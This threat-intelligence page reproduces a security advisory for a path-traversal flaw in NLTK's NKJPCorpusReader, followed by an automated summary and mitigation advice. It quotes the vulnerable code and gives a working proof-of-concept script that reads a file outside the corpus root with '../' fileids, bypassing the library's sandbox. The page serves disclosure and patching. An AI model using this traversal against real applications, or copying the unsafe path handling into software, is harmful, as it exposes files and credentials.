Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True) (CVE-2026-12072)
### Summary A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can influence the `fileids` argument of its public read methods (`header`, `raw`, `words`, `sents`, `tagged_words`) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant deployments. `header()` returns the parsed content of the out-of-root file to the caller (arbitrary file read). ### Details `SECURITY.md` promises that file access is "validated against allowed NLTK data directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file access … will raise `PermissionError`." That guarantee is enforced via `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call `nltk.pathsec.validate_path(...)`. `NKJPCorpusReader` never uses that protected path. In `nltk/corpus/reader/nkjp.py`: - `add_root()` builds the path by **plain string concatenation** with no normalization or containment check: ```python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped ``` - The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin `open()`): ```python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 ``` - The other modes reach the filesystem through `XML_Tool`, which uses a raw `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the builtin `open()`: ```python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted ``` Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec` sentinel is never invoked, so `ENFORCE = True` does not block the access. For comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`) rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)` before opening — `NKJPCorpusReader` simply does not go through it. ### PoC Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`. ``` pip install "nltk==3.9.4" python3 poc.py ``` `poc.py`: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader print("nltk", nltk.__version__) # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>") # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "<teiHeader><fileDesc><sourceDesc><bibl>" "<title>SECRET-API-KEY=sk-live-DEADBEEF</title>" "</bibl></sourceDesc></fileDesc></teiHeader>") # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE) # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1] reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled `fileids`; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ``` Output (unmodified): ``` nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF ``` With `ENFORCE = True`, NLTK opened a file outside the corpus root via the builtin `open()` (no `PermissionError`, no warning) and returned its content. ### Impac
AI Analysis
Technical Summary
The NKJPCorpusReader component in NLTK suffers from a path traversal vulnerability (CWE-22) due to unsafe path construction. Instead of using the protected file opening methods that validate paths against allowed corpus roots, NKJPCorpusReader concatenates file paths as strings without normalization or containment checks. This allows an attacker who controls the 'fileids' argument to specify paths with '../' sequences to escape the corpus root directory. The reader then uses Python's builtin open() function directly, bypassing the nltk.pathsec sandbox and its ENFORCE=True mode that normally prevents unauthorized file access. A proof-of-concept demonstrates reading an out-of-root file containing a secret API key. This vulnerability is present in NLTK versions before 3.10.0.
Potential Impact
An unauthenticated attacker able to influence the 'fileids' parameter of NKJPCorpusReader's public read methods can read arbitrary files on the filesystem outside the intended corpus root. This leads to unauthorized disclosure of sensitive information. The vulnerability bypasses NLTK's path security enforcement, including the recommended strict mode, resulting in a high-severity information disclosure risk. There is no impact on integrity or availability reported.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade NLTK to version 3.10.0 or later, where this path traversal issue in NKJPCorpusReader is fixed. Until patched, avoid using NKJPCorpusReader with untrusted input for the 'fileids' argument. The vendor advisory confirms a fix is available; therefore, applying the official update is the recommended mitigation.
Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True) (CVE-2026-12072)
Description
### Summary A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can influence the `fileids` argument of its public read methods (`header`, `raw`, `words`, `sents`, `tagged_words`) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant deployments. `header()` returns the parsed content of the out-of-root file to the caller (arbitrary file read). ### Details `SECURITY.md` promises that file access is "validated against allowed NLTK data directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file access … will raise `PermissionError`." That guarantee is enforced via `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call `nltk.pathsec.validate_path(...)`. `NKJPCorpusReader` never uses that protected path. In `nltk/corpus/reader/nkjp.py`: - `add_root()` builds the path by **plain string concatenation** with no normalization or containment check: ```python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped ``` - The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin `open()`): ```python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 ``` - The other modes reach the filesystem through `XML_Tool`, which uses a raw `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the builtin `open()`: ```python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted ``` Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec` sentinel is never invoked, so `ENFORCE = True` does not block the access. For comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`) rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)` before opening — `NKJPCorpusReader` simply does not go through it. ### PoC Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`. ``` pip install "nltk==3.9.4" python3 poc.py ``` `poc.py`: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader print("nltk", nltk.__version__) # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>") # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "<teiHeader><fileDesc><sourceDesc><bibl>" "<title>SECRET-API-KEY=sk-live-DEADBEEF</title>" "</bibl></sourceDesc></fileDesc></teiHeader>") # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE) # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1] reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled `fileids`; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ``` Output (unmodified): ``` nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF ``` With `ENFORCE = True`, NLTK opened a file outside the corpus root via the builtin `open()` (no `PermissionError`, no warning) and returned its content. ### Impac
CVSS v3.1
Score 7.5high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The NKJPCorpusReader component in NLTK suffers from a path traversal vulnerability (CWE-22) due to unsafe path construction. Instead of using the protected file opening methods that validate paths against allowed corpus roots, NKJPCorpusReader concatenates file paths as strings without normalization or containment checks. This allows an attacker who controls the 'fileids' argument to specify paths with '../' sequences to escape the corpus root directory. The reader then uses Python's builtin open() function directly, bypassing the nltk.pathsec sandbox and its ENFORCE=True mode that normally prevents unauthorized file access. A proof-of-concept demonstrates reading an out-of-root file containing a secret API key. This vulnerability is present in NLTK versions before 3.10.0.
Potential Impact
An unauthenticated attacker able to influence the 'fileids' parameter of NKJPCorpusReader's public read methods can read arbitrary files on the filesystem outside the intended corpus root. This leads to unauthorized disclosure of sensitive information. The vulnerability bypasses NLTK's path security enforcement, including the recommended strict mode, resulting in a high-severity information disclosure risk. There is no impact on integrity or availability reported.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade NLTK to version 3.10.0 or later, where this path traversal issue in NKJPCorpusReader is fixed. Until patched, avoid using NKJPCorpusReader with untrusted input for the 'fileids' argument. The vendor advisory confirms a fix is available; therefore, applying the official update is the recommended mitigation.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-6hm5-jgcp-p838
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-12072"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a6cf7f1bf32cb7a342b3ed6
Added to database: 07/31/2026, 19:30:57 UTC
Last enriched: 07/31/2026, 19:48:19 UTC
Last updated: 09/07/2026, 19:07:56 UTC
Views: 29
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.